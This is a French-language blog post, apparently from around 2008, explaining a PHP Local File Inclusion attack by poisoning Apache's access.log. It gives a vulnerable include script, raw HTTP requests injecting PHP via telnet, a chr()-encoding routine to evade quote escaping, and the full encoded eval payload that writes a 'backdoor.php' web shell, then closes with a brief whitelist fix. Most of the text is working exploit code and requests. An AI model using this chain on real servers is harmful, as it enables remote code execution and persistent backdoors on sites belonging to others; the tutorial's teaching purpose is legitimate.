Bien le bonjour !
Afin de ne pas laisser le blog sombrer, parlons d'un concept de la sécurité en PHP :
Local File Inclusion
. On parle de faille, notamment parce qu'on peut inclure n'importe quoi sur le serveur local. On ne se contentera donc pas d'étudier le principe de RFI (Remote File Inclusion) qui constitue une faille extrêmement dangereuse, certes, mais qui est très facile à exploiter et à comprendre ; par ailleurs, je ne pense pas m'adresser à un public qui n'y connait rien...
Enfin, bref. Ca remonte aux vacances de noël, où je bouffais tranquillement un grec avec
Heurs dans sa voiture. On parlait un peu de tout et de rien, puis il me sort qu'on peut injecter du code php arbitraire avec une LFI. Il m'a expliqué brièvement, j'ai mené des recherches de mon côté, et je suis arrivé à produire des résultats intéressants. ;)
Le principe est, en fait, de trouver le chemin du fichier access.log et de l'inclure. A quoi ça correspond donc ? A l'historiques des requêtes adressées à notre serveur. Sous linux, il peut se trouver dans plusieurs chemins différents en fonction des distributions. Sous une Debian c'est (de tête...) /var/logs/apache2/access.log ; sur un serveur ovh dédié, on a /usr/local/apache/logs/access.log, etc...
Pour ma part, j'utilise wamp - donc windows - et mon access.log se situe dans C:\wamp\logs\access.log
Voici une portion de contenu :
127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_tblimport.png HTTP/1.1" 200 280
127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_edit.png HTTP/1.1" 200 451
127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_primary.png HTTP/1.1" 200 416
On peut, à partir de se fichier, savoir qui a demandé telle page à telle heure. En quoi le fait de l'inclure peut-il constituer une faille ? Car si on y injecte du PHP dedans et que nous appelons ce fichier par une LFI, ... Ca fait mal ! :)
Pour nous mettre en situation réelle, prenons un script php quelconque situé à la racine du site :
<?php
// mapage.php
if(isset($_GET['page']) && file_exists('./'.$_GET['page'])) {
include('./'.$_GET['page']);
} else {
// Blablabla...
}
?>
Allons maintenant à l'adresse : http://localhost/mapage.php?page=../logs/access.log ; on voit le contenu de notre fichier access.log. Pour y aller à l'aise, je vous conseille de vider le contenu de ce fichier.
Maintenant, si nous voulons réussir l'attaque, il faut injecter du php.
Essayons d'aller à cette adresse :
http://localhost/mapage.php?<?php echo 'coucou'; ?>
Puis revenons sur la page qui inclut access.log. Que constatez-vous ? Les caractères ont été encodés par le navigateur. Il faut donc utiliser des outils comme netcat, telnet, etc... Essayons en forgeant une requête type :
GET /mapage.php?<?php phpinfo(); ?> HTTP/1.1
Host: localhost
Connection: close
On balance la requête avec telnet, on retourne pour charger notre fichier access.log, et... Magie ! Notre code est interprêté sur le serveur distant.
On pourrait aller plus loin : exécuter un code qui va créer une page qui, elle-même, interprétera du code fourni en paramètre (GET, POST, etc...). Commençons par faire notre page qu'on souhaitera écrire sur le serveur distant :
<?php
if(isset($_GET['a']))
include($_GET['a']);
?>
Faisons maintenant le code qui va écrire ce code dans une page :
$fp = fopen('backdoor.php','w');
fwrite($fp, '<?php
if(isset(\$_GET[\'a\']))
include(\$_GET[\'a\']);
?>');
fclose($fp); On s'emmêle les pinceaux, j'avoue, mais tout est bien coordonné. En fait, il suffira d'injecter le code ci-dessus dans notre URL avec telnet pour que le tour soit joué. Cependant, il faut penser à certaines parades côté serveur : et si les guillemets simples ou doubles étaient échappés ? Ca serait embêtant. On va donc encoder chaque caractère du code en sa version décimale, et passer le tout dans la fonction eval. Le script ci-dessous, exécuté en CLI (Command Line Interface) se charge de mâcher tout le travail : (merci NiklosKoda ! :P)
<?php
function stringtochar($string)
{
$char = 'chr(';
for($i=0 ; $i<strlen($string)-1 ; $i++)
$char .= ord(substr($string, $i, 1)).').chr(';
$char .= ord(substr($string, strlen($string)-1, 1)).')';
return $char;
}
echo stringtochar('$fp = fopen(\'backdoor.php\',\'w\');
fwrite($fp, \'if(isset($_GET[\\\'a\\\']))
include($_GET[\\\'a\\\']);
?>\');
fclose($fp);');
?>
Le script nous produit ce résultat :
chr(36).chr(102).chr(112).chr(32).chr(61).
chr(32).chr(102).chr(111).chr(112).chr(101).
chr(110).chr(40).chr(39).chr(98).chr(97).
chr(99).chr(107).chr(100).chr(111).chr(111).
chr(114).chr(46).chr(112).chr(104).chr(112).
chr(39).chr(44).chr(39).chr(119).chr(39).
chr(41).chr(59).chr(13).chr(10).chr(102).
chr(119).chr(114).chr(105).chr(116).chr(101).
chr(40).chr(36).chr(102).chr(112).chr(44).
chr(32).chr(39).chr(60).chr(63).chr(112).
chr(104).chr(112).chr(13).chr(10).chr(105).
chr(102).chr(40).chr(105).chr(115).chr(115).
chr(101).chr(116).chr(40).chr(36).chr(95).
chr(71).chr(69).chr(84).chr(91).chr(92).
chr(39).chr(97).chr(92).chr(39).chr(93).chr(41).
chr(41).chr(13).chr(10).chr(32).chr(32).chr(32).
chr(32).chr(105).chr(110).chr(99).chr(108).chr(117).
chr(100).chr(101).chr(40).chr(36).chr(95).chr(71).
chr(69).chr(84).chr(91).chr(92).chr(39).chr(97).
chr(92).chr(39).chr(93).chr(41).chr(59).chr(13).
chr(10).chr(63).chr(62).chr(39).chr(41).chr(59).
chr(13).chr(10).chr(102).chr(99).chr(108).chr(111).
chr(115).chr(101).chr(40).chr(36).chr(102).chr(112).chr(41).chr(59)
(tronqué sur plusieurs lignes).
Testons si le script suivant fonctionne :
<?php
eval(chr(36).chr(102).chr(112).chr(32).chr(61).
chr(32).chr(102).chr(111).chr(112).chr(101).
chr(110).chr(40).chr(39).chr(98).chr(97).
chr(99).chr(107).chr(100).chr(111).chr(111).
chr(114).chr(46).chr(112).chr(104).chr(112).
chr(39).chr(44).chr(39).chr(119).chr(39).
chr(41).chr(59).chr(13).chr(10).chr(102).
chr(119).chr(114).chr(105).chr(116).chr(101).
chr(40).chr(36).chr(102).chr(112).chr(44).
chr(32).chr(39).chr(60).chr(63).chr(112).
chr(104).chr(112).chr(13).chr(10).chr(105).
chr(102).chr(40).chr(105).chr(115).chr(115).
chr(101).chr(116).chr(40).chr(36).chr(95).
chr(71).chr(69).chr(84).chr(91).chr(92).
chr(39).chr(97).chr(92).chr(39).chr(93).chr(41).
chr(41).chr(13).chr(10).chr(32).chr(32).chr(32).
chr(32).chr(105).chr(110).chr(99).chr(108).chr(117).
chr(100).chr(101).chr(40).chr(36).chr(95).chr(71).
chr(69).chr(84).chr(91).chr(92).chr(39).chr(97).
chr(92).chr(39).chr(93).chr(41).chr(59).chr(13).
chr(10).chr(63).chr(62).chr(39).chr(41).chr(59).
chr(13).chr(10).chr(102).chr(99).chr(108).chr(111).
chr(115).chr(101).chr(40).chr(36).chr(102).chr(112).chr(41).chr(59)); ?>
Il marche. Il créé un fichier "backdoor.php" accessible. ;)
Il ne nous reste plus qu'à balancer notre requête :
GET /mapage.php?<?php eval(chr(36).chr(102).chr(112).chr(32).chr(61).chr(32).[...]chr(102).chr(112).chr(41).chr(59)); ?> HTTP/1.1
Host: localhost
Connection: close
On repasse ensuite sur http://localhost/mapage.php?page=../logs/access.log ; on constate qu'il ne se passe rien d'alarmant (pas d'erreur de php) ; Allons maintenant sur http://localhost/backdoor.php. La page existe. Si nous faisons http://localhost/backdoor.php?a=http://ghostsinthestack.org/index.php, on inclut le site de copain Heurs dans notre page (sans le CSS) ; tout ça pour dire qu'on a réussi.
Conclusion
La LFI est dangereuse. Pour la sécuriser, ce script suffirait :
<?php
if(!empty($_GET['page'])
&& preg_match('/^[a-zA-Z0-9]+$/',$_GET['page'])
&& file_exists('./pages/'.$_GET['page'].'.php')) {
include('./pages/'.$_GET['page'].'.php');
} else {
// Blablabla... Erreur
}
?>
Dès lors, il sera impossible, pour l'utilisateur, de naviguer dans un autre répertoire. Seul les pages présentes dans le dossier "pages" seront disponibles aux inclusions locales.
Petit article simpliste, mais voilà. Salut !
Geo